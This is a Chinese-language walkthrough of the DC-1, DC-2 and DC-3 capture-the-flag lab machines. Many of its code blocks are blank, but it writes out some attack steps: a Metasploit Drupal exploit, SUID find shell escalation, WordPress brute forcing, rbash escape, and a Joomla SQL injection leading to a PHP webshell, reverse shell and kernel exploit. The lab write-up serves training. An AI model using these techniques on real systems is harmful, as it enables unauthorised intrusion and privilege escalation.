DC-1
flag1
主机发现:arp-scan -l
获取到IP后直接nmap扫描:
|
|
发现打开了80端口,用浏览器可以打开网页
接下来可以借助nmap扫描系统环境:
|
|
也可以借助火狐的扩展插件:Wappalyzer,效果相同。

获取了足够的信息我们接下来使用msfconsole进行入侵。
注:因为笔者虚拟机里的MSF突然都寄了(恢复快照也不行)所以接下来部分用安卓终端Kali完成。
使用msf去搜索相关漏洞:
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
中设置好目标RHOSTS后输入run

输入shell进入终端,
执行ls,成功获取到flag1的位置

使用cat查看即可。
flag2
默认 drupal 配置文件位置为:
|
|
读取:
|
|
看到第二个 flag
提示:暴力破解和字典攻击并不是获取访问权限的唯一途径(你需要访问权限),使用这些凭据,你可以做什么?
并且给了我们数据库的用户名和密码:
|
|

flag3
升级一下终端:
|
|

使用配置文件给的用户名和密码进mysql:
|
|
show databases;

选择drupaldb:use drupaldb;
查表:show tables;
看到有一个叫做users的表,查具体信息:select * from users;

默认 drupal 的加密脚本位置在:
/var/www/scripts/password-hash.sh
我们可以自己加密生成一个密码 hash 值,然后替换进去,输入:./scripts/password-hash.sh 123456
回到 mysql 去更新 admin 的密码:
|
|

使用更新后的密码(123456)登录管理后台,在dashboard看到flag3

此处提示为:特殊的 SUID 权限可以帮助你通过 find 命令定位密码文件——但你需要利用该命令的 -exec 参数,才能想办法获取 shadow 文件中的加密内容。
flag4
通过cat /etc/passwd 看到存在flag4用户

并且路径在/home/flag4
进入该目录,读取flag:

提示:使用同样的方法进入 root 目录找到 flag
final-flag
查找具有suid权限的文件:
|
|
发现有find命令

查看root目录下面有什么文件:find . -exec ls /root \;
find LICENSE.txt -exec ls /root \;
看到thefinalflag.txt

使用cat命令读取:find LICENSE.txt -exec cat /root/thefinalflag.txt \;

拓展
获取root权限的shell:find LICENSE.txt -exec /bin/sh \;

DC-2
flag1
主机发现:arp-scan -l
nmap扫描:
|
|
开放了80端口,cms框架为WordPress 4.7.10。

还可以继续全端口扫描:
|
|
发现还开放了7744端口
对7744端口进行强扫描:
|
|
发现7744端口运行的是ssh服务

但是直接访问因为对方配置的域名是dc-2(并不是常规域名所以会解析失败),所以接下来要修改hosts文件:
|
|

再次访问,可以看到web页面,在右下角找到第一个flag

存在提示:
提示:
你平时常用的那些字典可能派不上用场,所以,或许你只需要“酷”一点(暗指使用 CeWL 工具)。
密码自然是多多益善,但有时你也没法一次性把它们全部搞定。
先以其中一个身份登录去查看下一个 flag。如果在那儿没找到,就换另一个身份登录。
flag2
目录扫描,使用kali自带的工具
dirb http://dc-2/
当然如果你对wordpress比较熟悉可以直接访问:http://dc-2/wp-admin/
针对 WordPress 有一个专门的扫描工具:WPScan
wpscan --url http://dc-2/ -e u //枚举用户名字

拿到了三个账户名:
|
|

结合前面提示,使用工具 cewl:
只需要给 CeWL 一个目标 URL,它就会像爬虫一样把网页上的单词全部“抓”下来,生成字典
|
|
此外, 新建一个用户名的字典,也就是
|
|
准备好用户名和密码字典后,使用wpscan进行爆破:
|
|
查看结果,找到了tom和Jerry的密码

即:
|
|
选取其中一条登录后台即可。
在Pages中找到了flag2

提示:
“如果你无法通过漏洞利用(Exploit)直接拿下 WordPress 或者走捷径,那么还有另一种方法。”
“希望你已经找到了另一个入口点。”
暗示我们:WordPress 站点应该没什么东西了,要找其他入口
flag3:
尝试 ssh 连接:
|
|
使用tom时登录成功
ls发现flag3.txt就在这里但是cat读取不了
但是很多命令(如whoami、cat)都不能执行,因为是rbash(受限制的终端)
查看可以使用的命令(rbash特性):
|
|
发现可以使用less和vi命令,这两个命令都可以查看文件内容
|
|
拿到flag3.txt

flag3 提示:
可怜的老汤姆(Tom)总是追着杰瑞(Jerry)跑。也许他应该因为杰瑞给他造成的压力而提起诉讼(su)。
flag4
由flag3提示暗示我们要提权,此处补充基于vi的rbash逃逸:
先后输入回车:
|
|
此时发现可以切换目录了。
|
|

提示:
“很高兴看到你已经走了这么远——但你还没到家呢。”
“你仍然需要拿到最后的 Flag(那是唯一真正算数的 Flag!!!)。”
“这里没有提示——现在你只能靠自己了。:-)”
“继续——快从这儿滚出去(git outta here)!!!!
大概意思就是:你已经完成了所有的中间铺垫,现在只剩最后一关——拿到 Root 权限
final-flag
重点:完全逃逸rbash

执行:
|
|
虽然还是无法使用cat这些命令,但是可以使用带斜杠的命令了,升级终端,执行:/bin/bash

接下来修复环境变量:
把系统的标准工具库(/bin 和 /usr/bin)重新加入到我的搜索路径中
|
|
至此,已经完全逃出 rbash 限制,系统重新找回了执行标准命令的能力。
就可以使用cat命令了,其他命令也恢复正常。
根据上面的提示,我们要使用git进行提权,
|
|
直接执行发现tom的权限不够,所以我们调转到jerry用户上:
|
|
重新执行一遍,成功提权到root。

最后进入root目录,ls发现存在最终flag,cat读取拿下。

DC-3
nmap强扫描发现开放80端口,cms框架为Joomla

接下来扫描目录:
|
|
发现了http://192.168.80.159/administrator/,说明存在管理员登录接口
安装针对性工具利用漏洞:
|
|
使用joomscan扫描:
|
|
得到版本号为3.7.0

搜索该框架版本相关的典型漏洞:
|
|
Searchsploit 是一个离线的漏洞利用代码(Exploit)搜索引擎

可以看到该版本有一个 SQL 注入,受影响的组件是 com_fields,并且后面的路径(Path)显示为php/webapps/42033.txt,里面写有漏洞触发的具体参数(Payload),查看该文件:
|
|
查看到返回的文档中有使用sqlmap的注入方法(可以复制到文本编辑器中方便修改):
|
|

常规sql爆库、表、字段、内容:
|
|
成功拿到admin的hash值

接下来使用john工具进行破解:
创建a.txt内容为:admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
在当前目录运行:
|
|
成功拿到密码snoopy

浏览器登录后台。
发现在Extensions->Templates->Templates 里面可以插入 PHP 代码(其实就是可以编辑页面的源代码)

第一行写个一句话木马,蚁剑连接。
|
|
(可选) 或者为了方便继续用Kali操作,我们可以反弹shell到Kali:
- 提前在Kali上nc监听4444端口
|
|
- 将插入的一句话木马换成:
|
|
- 浏览器访问
http://192.168.80.159/templates/beez3/index.php,触发反弹

whoami发现目前还不是root权限。
收集下主机的版本信息:
|
|

至此,信息搜集完毕,exit退出webshell
查找相关漏洞:searchsploit Ubuntu 16.04 4.4.0-21
内容大多是针对64位系统的,所以放宽条件查找:searchsploit Ubuntu 16.04

初步判断39772对应的 double-fdput() 漏洞利用包是最适合这个 4.4.0-21 内核的,该脚本极为稳定且不挑架构,适配 32 位架构。
查看该文件:
|
|
给了 exp 的具体GitHub项目地址:

回到webshell,方法同上。
为了防止一些目录没有写入权限,我们先切换目录:
|
|
用wget将工具下载到目标:
|
|
解压:
|
|
编译:
|
|
运行:
|
|
稍等一会,拿到了root权限。

切换到root目录,可以正常读取flag文件
|
|
